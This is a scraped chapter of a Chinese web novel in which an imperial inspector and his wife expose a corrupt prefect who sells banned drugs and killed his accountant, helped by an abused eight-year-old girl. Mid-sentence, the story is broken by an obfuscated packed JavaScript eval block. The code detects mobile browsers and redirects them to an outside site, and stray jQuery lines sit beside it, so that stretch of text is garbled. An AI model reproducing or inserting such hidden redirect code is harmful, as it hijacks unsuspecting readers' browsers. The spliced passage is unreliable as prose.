41. 被抓
作品:《清冷权臣他后悔了》 河东府北某处的大火烧了整整一夜,待早起百姓发现时,只见弥漫青烟,和未烧尽的断壁残垣。
张书珩听到仓库失火的事后,立刻调集府中守卫前去灭火,可五石散极易点燃,不消片刻,火势蔓延至每个角落,守卫拼死也只保住宅院的空架子罢了。
一夜未眠的张书珩气得捶胸顿足,站也不是,坐也不是,叫来管家狠狠骂了一顿:“你是怎么办事的,竟叫仓库失火,你知不知道,这会让我损失多少银子,你纵使有千条命也不够偿的。”
管家听后,赶忙跪地,这院中的孤魂野鬼够多了,他可不想凑热闹,他还想好好活着。
“大人,我听了您的吩咐,仓库中不叫有半点星火,我也不知道怎么就烧着了。”
管家在张府待了十年,他在外人面前作威作福,在张书珩面前,则是不敢有半点违拗,让他往东,他绝不敢往西。为了防止出现意外,他甚至自掏腰包在仓库修了一方水池,如有火情,能立即扼制。
但这次的大火,坏就坏在多点起火,想要提水浇灭,根本来不及。
“这么说,大火是有人故意为之?”张书珩从管家的话中得出的结论:“莫非,我售卖五石散的事被人发现了?”
管家点头:“大人说的对,应该是有人故意针对您的。”
话刚说完,随从来报:“大人,谢大人和他的夫人在门外,说有事找您,要不要放他们进府?”
闻言,张书珩和管家对视一眼,心道:“这个节骨眼,他们来找自己做何?”
*
张书珩迎了出去,朱红大门外,站着一对壁人,二人相拥一处,旁若无人亲昵。
“大人,你好坏,让奴家看那种书。”女郎抬手轻捶打男子的胸膛。
男子则握着女郎的小拳,柔声问:“疼吗?仔细别伤了自己。”
说着,放到唇边吻了吻。
张书珩挤出笑意道:“大人有事,让人来寻我便是,何故亲自来一趟?”
谢澜看了他一眼,道:“听说贵府中藏书无数,本官想来寻几本带回去看看。”
几人边走边说。
“下官家中的确有几本书,不知大人想看什么书?”张书珩赔笑问。
谢澜还未答,他身边的女郎倒先羞赧起来,挽着他的手撒娇道:“大人,奴家不要看那种污秽的书,您就放过奴家吧。”
两次的肌肤之亲,让姜照影这颗榆木脑袋开了窍,扮起娇妻驾轻就熟。
闻言,谢澜抬手抚了抚她的脸:“难道夫人就不想多些房中之乐,为夫可不想委屈了你。”
“可是大人……”女郎的脸羞地通红。
二人你一言我一语,叫张书珩心中烦躁,他现在可没心思看旁人恩爱。
他对谢澜道:“我倒是有几本大人要的书,不过在后院藏书阁中,恐怕一时难以找到。”
“无妨的,反正我近来无事,寻个乐子打发时间也不错。”谢澜看着不远处的二层阁楼,问:“是那里吗?”
“是。”张书珩叫来近侍领谢澜二人前去,他自己则称有事,没有继续作陪,离开了。
二人跟在近侍身后往阁楼去,半路却被一个瘦小的身影拦下。
她身穿一身破旧且脏乱的红衣,披头散发比街上的乞儿好不了多少。
她蹲在甬道中央捡地上的石子,口中喃喃道:“吓人,账房先生,贪心。”
近侍回身见是张婉莹,没好气道:“这里是你该来的地方吗,去别的地方玩。”
张婉莹却是不动,拿起一颗石子往近侍脑袋扔去:“打死你,打死你。”
被石子打疼的近侍,抬脚往她身上踢去,好在姜照影眼疾手快,将张婉莹抱起来,这才没让近侍踢到她。
“你这刁奴,胆敢打自家小姐,你就不怕张大人知道了罚你。”
姜照影将张婉莹护在身后,张婉莹小小的手紧紧拽姜照影的衣摆,显然很害怕。
近侍见姜照影生气,自然不敢顶撞,只道:“她算不上张府的小姐,她的母亲不过是个低贱的丫鬟罢了,夫人可别让她弄脏了你的衣服。”
说着,就要揪扯出姜照影背后的张婉莹,却被谢澜扣住手腕,对他道:“去对张大人说,我这里不需要你跟着了。”
近侍不敢违拗,躬身退下。
见人走远,张婉莹这才敢出来,她将自己额前碎发,挽至耳后,露出一张小脸,圆溜溜的眼睛,看着姜照影,道:“多谢,姐姐出手相救。”
张婉莹今年八岁,看上去比一般的孩子瘦小羸弱些,一张小脸苍白无色,不难看出,她在张府过得并不好。
闻言,姜照影看了眼谢澜,然后对张婉莹道:“你真是个聪明的姑娘。”
自张书珩麟儿满月宴那日,姜照影见过张婉莹后,便知她看似神志不清,满嘴胡话,实则在向外传递消息。
有心之人听后,必会来寻她。
张婉莹看向姜照影,眼中沁出泪珠,她问:“姐姐会把小漫和张书珩关进大牢吗?”
在她八岁的小脑袋里,对人最重的惩罚,便是把坏人关押起来,叫他们再也不能出来为恶。
姜照影点头:“我不仅会把他们关起来,我还会让他们替你母亲偿命。”
张书珩荒|淫无道,欺辱家中丫鬟,在丫鬟生下孩子后,对她们母女不管不问,任由小漫将张婉莹母亲凌虐至死,然后扔进荷花池中。
荷花池中的白骨,便是张婉莹母亲的。
张婉莹听后,哭起来,她亲眼见自己的母亲被小漫打死,自己却无能为力。从那以后,她便整日装疯卖傻,满口胡言,为的就是能在张府活下来。
母亲还在世时,尚能护她一二,母亲不在后,张府奴仆的欺辱比之前更甚,不给她吃喝,她便只能趁着夜深人静,去厨房偷,有时好心的嬷嬷,也会从自己口中节省一些给她。
这样的生活,她过了三年,从五岁到八岁,为的就是有朝一日,能替母亲报仇,自己也能活着离开张府。
终于,她等来机会,一月前,张府来了一个她曾经未见过的官员。
张书珩时常宴请官员来府吃喝,久而久之,张婉莹记下了他们的官职和长相,所以当谢澜第一次来张府时,张婉莹便知他是新来的官,她之前没见过他。
她向嬷嬷打听谢澜身份,才知他是京城派来的巡抚,是为巡察河东府庶务,查处官员贪墨,为民请命。
于是,她便故意向林启,透露了账房先生的事。
不过林启只把她的话当胡话,没来找过她。后面她只得趁着家中举办满月宴,再
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16884509|190366||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
次找到谢澜,提起账房先生的事。
“姐姐,你们是来找那个账房先生的吧。”张婉莹问。
姜照影点头。
“跟我来。”张婉莹拉着姜照影的手,往一处僻静的院子去,那院中,有一颗繁茂的榕树,树影落下,遮去大片阳光。
“姐姐,那账房先生就被埋在这里了。”张婉莹指着树根道:“那晚,账房先生威胁张书珩要钱,张书珩便将人打死埋在这里了。”
话音落下,几道寒光闪过。
三人朝院门看去,是张书珩和几个手拿大刀的壮汉。
张书珩看着他们咬牙切齿,道:“你们果然在演戏,什么纨绔子弟,什么青楼女子,都是骗我的,我的东西就是你们烧的对不对?”
“是又如何?”姜照影将张婉莹护在身后,问:“你杀了吴昊是不是?”
张书珩冷笑:“他想从我这里拿钱,他是死有余辜。”
说完,他露着贼光的鼠眼在几人身上逡巡,“你们想要我的命,更该死。”
他一挥手,几个大汉持刀朝三人砍来。
谢澜护着姜照影和张婉莹从院子后门离开,自己则对付张书珩的人。
张府很大,道路繁复,不多时,姜照影便迷了路,好在张婉莹熟悉这里的每一处,带着她往张府后门去。
*
眼见自己的人,一个个败下阵来,倒在自己脚边,张书珩慌了,赶忙唤人。
他府中常年养着护卫,只要听到他的命令,便会出来。
可这次他叫了不下十次,却只见到管家和府中仆从,背着包袱仓皇逃出大门的身影。
“站住,你们都站住。”张书珩道:“护卫呢,护卫都去了哪里?”
管家见张书珩不知此时大势已去,道:“大人,您认罪吧,护卫都已经被关起来了。”
管家的话如晴天劈裂,劈得张书珩头晕眼花,跌坐在地,下一刻,两个暗卫上前,押住他跪下。
张书珩看着朝自己走来的谢澜,不忿:“大人凭什么抓我,我做错了何事?”
“刺杀朝廷命官,贩卖禁药,叫你死一百次也是够的。”林启拔剑抵在他脖颈处。
“大人错怪我了,我年岁已大,老眼昏花,方才没看清是大人,只当是家中进了贼匪,这才拔刀相见,纯属误会啊。”
张书珩到底是为祸一方的贪官,能言巧辩,死的都能说成活的。
谢澜冷笑道:“那贩卖禁药了?”
“那就更是天大的误会,我乃一府地方父母官,怎会干出那等残害百姓之事?”
张书珩咬定谢澜手中没有证据,巧言否认。
“我看张大人,真是不见棺材不落泪。”
随着话音落下的,是张书珩的催命符——吴昊留下的账册。
誊抄后的账册,摆在张书珩面前,一笔笔账目,不仅是贩卖禁药,还有通敌叛国之嫌。
正如林启所说,他死一万次都不够。死到临头,他不认罪也不行。
林启被押入大牢,择日就地正法。
*
一切尘埃落定,谢澜正欲去寻姜照影,却听到孩童呼救声:“大人,姐姐,姐姐被小漫的人抓走了。”
张婉莹说完,晕了过去,心口不住往外汩汩冒血。

